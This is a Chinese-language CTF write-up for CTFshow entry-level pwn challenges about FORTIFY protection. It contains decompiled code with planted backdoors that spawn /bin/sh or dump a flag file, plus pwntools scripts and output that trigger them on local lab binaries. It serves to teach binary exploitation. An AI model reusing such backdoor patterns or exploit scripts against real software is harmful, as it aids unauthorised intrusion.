int __fastcall main (int argc, const char **argv, const char **envp) { _BYTE s[24 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); memset (s, 0 , 0x10u ); puts ("What do you want?" ); printf ("%3$#p\n" ); __isoc99_scanf("%s" , s); ctfshow(s); return 0 ; }
跟进ctfshow函数:
int __fastcall ctfshow (const char *p_s) { if ( strncmp (p_s, "CTFshow-daniu" , 0xDu ) ) return puts ("You are too young to simple!" ); puts ("Good boy!" ); return system("/bin/sh" ); }
可以看到当输⼊的字符串为“CTFshow-daniu”时就能得到⼀个shell,由于没有开启FORTIFY保护,程序也就能正常执⾏:
from pwn import *io = process('./pwn' ) io.sendline(b"CTFshow-daniu" ) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 104 [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Simply bypass it! * ************************************* What do you want? 0x7286d1669574 Good boy! $ ls ctfshow_flag
pwn133 Hint:保护一开,傻傻分不清了~ 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled Stripped: No
64位保护全开,可以看到这次开启了FORTIFY保护
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { _QWORD v4[5 ]; v4[3 ] = __readfsqword(0x28u ); init(argc, argv, envp); logo(); v4[0 ] = 0 ; v4[1 ] = 0 ; puts ("What do you want?" ); __isoc99_scanf("%s" , v4); ctfshow(v4); __printf_chk(1 , "%9$#p\n" ); return 0 ; }
同上⼀题⽐较,发现有些不安全函数已经被替换成安全函数了
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Simply bypass it! * ************************************* What do you want? CTFshow-daniu Good boy! *** invalid %N$ use detected *** Aborted (core dumped)
此时已经开启了缓冲区溢出攻击检查(不过这⾥也开启了Canary保护)
跟进ctfshow函数:
int __fastcall ctfshow (const void *a1) { bool v2; bool v3; bool v4; __int64 n5; const char *p_Stack; const char *v7; char v8; bool v9; bool v10; __int64 n3; const char *p_Fmt; const char *v13; v2 = memcmp (a1, "CTFshow-daniu" , 0xDu ) != 0 ; v3 = 0 ; v4 = !v2; if ( v2 ) { n5 = 5 ; p_Stack = "Stack" ; v7 = (const char *)a1; do { if ( !n5 ) break ; v3 = *v7 < (unsigned int )*p_Stack; v4 = *v7++ == *p_Stack++; --n5; } while ( v4 ); v8 = (!v3 && !v4) - v3; v9 = 0 ; v10 = v8 == 0 ; if ( v8 ) { n3 = 3 ; p_Fmt = "Fmt" ; v13 = (const char *)a1; do { if ( !n3 ) break ; v9 = *v13 < (unsigned int )*p_Fmt; v10 = *v13++ == *p_Fmt++; --n3; } while ( v10 ); if ( (!v9 && !v10) == v9 ) { puts ("Smart boy!" ); return Fmt("Smart boy!" , v13); } else if ( !memcmp (a1, "check" , 5u ) ) { __printf_chk(1 , "%p\n" , a1); return _chk(); } else { return puts ("You are too young to simple!" ); } } else { puts ("Great boy!" ); return Stack_Overflow("Great boy!" , v7); } } else { puts ("Good boy!" ); __printf_chk(1 , "%3$#p\n" ); return system("/bin/sh" ); } }
可以看到程序既定的⼀些漏洞在开启此保护后很多函数都被替换成相对安全函数了
unsigned __int64 __fastcall Fmt (__int64 Smart_boy) { char %9 $_p_n[10 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); __read_chk(0 , %9 $_p_n, 20 , 10 ); __printf_chk(1 , %9 $_p_n); return __readfsqword(0x28u ) ^ v3; }
查看⼀下敏感字符串[shift+F12]:
.rodata:0000000000001312 0000000E C /ctfshow_flag
上⼀题的后⻔函数还在,但是很明显,由于开启了FORTIFY保护
这条路根本⾛不下来,程序就会异常退出,看到还有⼀个/ctfshow_flag⽂件,跟进查看⼀下:
unsigned __int64 _chk(){ FILE *stream; _BYTE buf[9 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); stream = fopen("/ctfshow_flag" , "r" ); while ( 1 ) { buf[0 ] = fgetc(stream); if ( buf[0 ] == 0xFF ) break ; write(1 , buf, 1u ); } return __readfsqword(0x28u ) ^ v3; }
可以看到如果程序⾛到这就会输出flag,理清逻辑,我们不难知道,当输⼊的字符串为“check”时,即可输出flag
from pwn import *io = process('./pwn' ) io.sendline(b"check" ) io.interactive()
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Simply bypass it! * ************************************* What do you want? check 0x7ffcd3080f50 flag{just_test_my_process} *** invalid %N$ use detected *** Aborted (core dumped)
pwn134 Hint:这一次我站在雨里,连我自己也分不清自己! 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled Stripped: No
64位保护全开,依旧开启了FORTIFY保护
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { __int128 v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); v4 = 0 ; puts ("What do you want?" ); __isoc99_scanf("%s" , &v4); ctfshow(&v4); return 0 ; }
跟进ctfshow函数:
int __fastcall ctfshow (const void *a1) { bool v2; bool v3; bool v4; const char *p_Stack; __int64 n5; const char *v7; char v8; bool v9; bool v10; const char *p_Fmt; __int64 n3; const char *v13; bool v14; bool v15; bool v16; const char *p_Exit; const char *v18; __int64 n4; v2 = memcmp (a1, "CTFshow-daniu" , 0xDu ) != 0 ; v3 = 0 ; v4 = !v2; if ( v2 ) { p_Stack = "Stack" ; n5 = 5 ; v7 = (const char *)a1; do { if ( !n5 ) break ; v3 = *v7 < (unsigned int )*p_Stack; v4 = *v7++ == *p_Stack++; --n5; } while ( v4 ); v8 = (!v3 && !v4) - v3; v9 = 0 ; v10 = v8 == 0 ; if ( v8 ) { p_Fmt = "Fmt" ; n3 = 3 ; v13 = (const char *)a1; do { if ( !n3 ) break ; v9 = *v13 < (unsigned int )*p_Fmt; v10 = *v13++ == *p_Fmt++; --n3; } while ( v10 ); if ( (!v9 && !v10) == v9 ) { puts ("Smart boy!" ); return Fmt("Smart boy!" , v13); } else { v14 = memcmp (a1, "Quit" , 4u ) != 0 ; v15 = 0 ; v16 = !v14; if ( !v14 ) { puts ("See you ~" ); exit (0 ); } p_Exit = "Exit" ; v18 = (const char *)a1; n4 = 4 ; do { if ( !n4 ) break ; v15 = *v18 < (unsigned int )*p_Exit; v16 = *v18++ == *p_Exit++; --n4; } while ( v16 ); if ( (!v15 && !v16) == v15 ) { puts ("See you again!" ); return daniu("See you again!" , v18); } else { return puts ("You are too young to simple!" ); } } } else { puts ("Great boy!" ); return Stack_Overflow("Great boy!" , v7); } } else { puts ("Good boy!" ); __printf_chk(1 , "%6$#x\n" ); return system("/bin/sh" ); } }
可以看到,逻辑原本挺简单的,但是被弄的⾮常复杂,同样的,存在后⻔函数
unsigned __int64 d_daniu () { FILE *stream; _BYTE buf[9 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); stream = fopen("/ctfshow_flag" , "r" ); while ( 1 ) { buf[0 ] = fgetc(stream); if ( buf[0 ] == 0xFF ) break ; write(1 , buf, 1u ); } return __readfsqword(0x28u ) ^ v3; }
只需要捋清楚哪⾥⼀步步调⽤⼀步步跟进就能获取到flag
其实仅仅只需要输⼊”Exit”然后等待⼏秒即可获得flag了
from pwn import *io = process('./pwn' ) io.sendline(b"Exit" ) io.interactive()
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Simply bypass it! * ************************************* What do you want? Exit See you again! flag{just_test_my_process}